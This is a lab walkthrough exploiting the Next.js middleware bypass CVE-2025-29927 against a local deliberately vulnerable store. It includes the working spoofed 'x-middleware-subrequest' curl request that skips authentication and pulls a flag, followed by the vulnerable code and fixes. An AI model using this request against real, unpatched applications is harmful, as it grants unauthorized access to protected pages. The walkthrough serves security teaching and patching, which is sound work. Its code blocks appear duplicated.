July 13, 2026
Bypassing Next.js Auth with CVE-2025–29927
How a single spoofed header walks straight past a Next.js login wall

By OopsSec Store
4 min read
In this walkthrough you'll exploit CVE-2025–29927, a middleware bypass in Next.js that lets you skip authentication with one HTTP header. You'll use it to reach a protected internal diagnostics page and pull its flag.
Everything runs locally in OopsSec Store, an intentionally vulnerable shop built for exactly this kind of practice.
Setting Up the Lab
Open a terminal and spin the app up:
# With npm
npx create-oss-store oss-store
cd oss-store
npm start
# Or with Docker
docker run -p 3000:3000 leogra/oss-oopssec-store# With npm
npx create-oss-store oss-store
cd oss-store
npm start
# Or with Docker
docker run -p 3000:3000 leogra/oss-oopssec-storeThat one setup installs the dependencies, creates the database, seeds it with test data, and boots the site.
When it finishes, head to http://localhost:3000. You've got a running store to break.
What We're Targeting
Click around the app and you'll find a monitoring area. There's a /monitoring/siem page sitting in the UI. That naming hints there's more under /monitoring/.
Poke at it (a small wordlist works too) and you'll turn up /monitoring/internal-status.
Try to open it in the browser and you get bounced straight to /login. Confirm it from the terminal:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:3000/monitoring/internal-statuscurl -s -o /dev/null -w "%{http_code}\n" http://localhost:3000/monitoring/internal-statusYou'll see 307 — a redirect. So the page exists, but something is guarding it before you ever reach it.
That something is Next.js middleware. It's the only lock on the door, and that's the whole problem.
Step-by-Step Exploitation
Here's the plan, start to finish.
1. Fingerprint the framework.
Check the response headers to confirm what you're up against:
curl -sI http://localhost:3000 | grep -i x-powered-by
# X-Powered-By: Next.jscurl -sI http://localhost:3000 | grep -i x-powered-by
# X-Powered-By: Next.jsNext.js. That's your lead.
2. Match it to a known bug.
Search public advisories for Next.js and CVE-2025–29927 jumps out: a middleware bypass via the x-middleware-subrequest header, affecting every version before 15.2.3.
You can't read the exact version from outside. So you don't guess, you just fire the exploit and watch.
3. Understand the header.
Next.js middleware can fire off its own subrequests. Without a guard, those would re-enter the middleware and loop forever. To stop that, Next.js tags internal subrequests with an x-middleware-subrequest header. When it sees the middleware module name repeated enough times, it assumes recursion and skips middleware entirely.
The catch: nothing checks that the header came from inside. You can send it yourself.
The value looks like this:
x-middleware-subrequest: <module>:<module>:<module>:<module>:<module>x-middleware-subrequest: <module>:<module>:<module>:<module>:<module>This project keeps middleware.ts at the root — no src/ directory — so the module name is just middleware. It needs to appear 5 times, colon-separated, to trip the recursion threshold.
4. Fire the request.
One curl does it:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3000/monitoring/internal-statuscurl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3000/monitoring/internal-statusThe middleware never runs. Instead of a 307 to /login, you get the page itself.
One note before you retry a failed attempt: a single middleware value isn't enough. Repeat it exactly five times, or the threshold won't trip.
Capturing the Flag
Scan the response body and you'll find the system diagnostics — Node version, uptime, memory — followed by the payload you came for:
...{"flag":"OSS{m1ddl3w4r3_byp4ss}","title":"Internal Validation Token",
"description":"Used for automated health check verification..."...{"flag":"OSS{m1ddl3w4r3_byp4ss}","title":"Internal Validation Token",
"description":"Used for automated health check verification..."You know it worked the moment the request returns 200 with page content instead of a 307 redirect.
Why This Vulnerability Exists
The page at /monitoring/internal-status has no auth check of its own. Look at the code and the render function goes straight to reading diagnostics and the flag. It never asks who you are.
All the protection lives one layer up, in middleware.ts:
export const config = {
matcher: ["/monitoring/internal-status"],
};
export function middleware(request: NextRequest) {
const payload = decodeJWT(request.cookies.get("authToken")?.value);
if (!payload || payload.role !== "ADMIN") {
return NextResponse.redirect(new URL("/login", request.url));
}
return NextResponse.next();
}export const config = {
matcher: ["/monitoring/internal-status"],
};
export function middleware(request: NextRequest) {
const payload = decodeJWT(request.cookies.get("authToken")?.value);
if (!payload || payload.role !== "ADMIN") {
return NextResponse.redirect(new URL("/login", request.url));
}
return NextResponse.next();
}The assumption is reasonable: middleware owns auth, so the page can trust it ran. That's how most Next.js apps work in practice.
CVE-2025–29927 breaks that trust. The framework treated an attacker-controlled header as a trusted internal signal — a classic case of confusing "came from the network" with "came from inside." When middleware gets skipped, the page has no fallback, and single-layer auth collapses instantly.
How to Fix It
Upgrade first. Next.js 15.2.3 and later strip x-middleware-subrequest from external requests, killing the bypass. Older majors got backports in the 14.x, 13.x, and 12.x lines. This is a framework bug, so the patch is the real fix.
But don't stop there. The deeper lesson is that middleware alone isn't access control. Verify identity inside the route itself, so a skipped middleware doesn't mean an open door:
import { redirect } from "next/navigation";
import { getAuthenticatedUser } from "@/lib/server-auth";
export default async function InternalStatusPage() {
const user = await getAuthenticatedUser();
if (!user || user.role !== "ADMIN") {
redirect("/login");
}
// ... render diagnostics and flag
}import { redirect } from "next/navigation";
import { getAuthenticatedUser } from "@/lib/server-auth";
export default async function InternalStatusPage() {
const user = await getAuthenticatedUser();
if (!user || user.role !== "ADMIN") {
redirect("/login");
}
// ... render diagnostics and flag
}Now middleware handles the fast redirect, and the page independently checks the user's role. Bypass the first and you still hit the second.
Add a belt-and-braces layer. Drop incoming x-middleware-subrequest headers at your WAF, reverse proxy, or CDN for any request crossing the trust boundary. External clients have no business sending it.
Wrapping Up
This isn't a toy bug. CVE-2025–29927 scored 9.1 (Critical) and hit an enormous slice of the Next.js ecosystem the day it dropped. Every app leaning on middleware for auth, rate limiting, or geo-blocking was exposed to a one-line request. Admin panels, internal dashboards, draft content, signed-URL endpoints: all reachable pre-auth.
For developers, the takeaway outlives this one CVE. Any control that can be skipped is not a control. Defense in depth exists precisely because your framework will eventually surprise you.
Disclaimers
Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.
Do not exploit vulnerabilities on systems you don't have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.
AI assistance was used in the writing of this writeup.
Feedback & Support
Having trouble following this writeup? Found a typo or have suggestions for improvement?
Feel free to open an issue or start a discussion on GitHub.
👉 If you find this project useful, consider giving it a star or forking it to show support!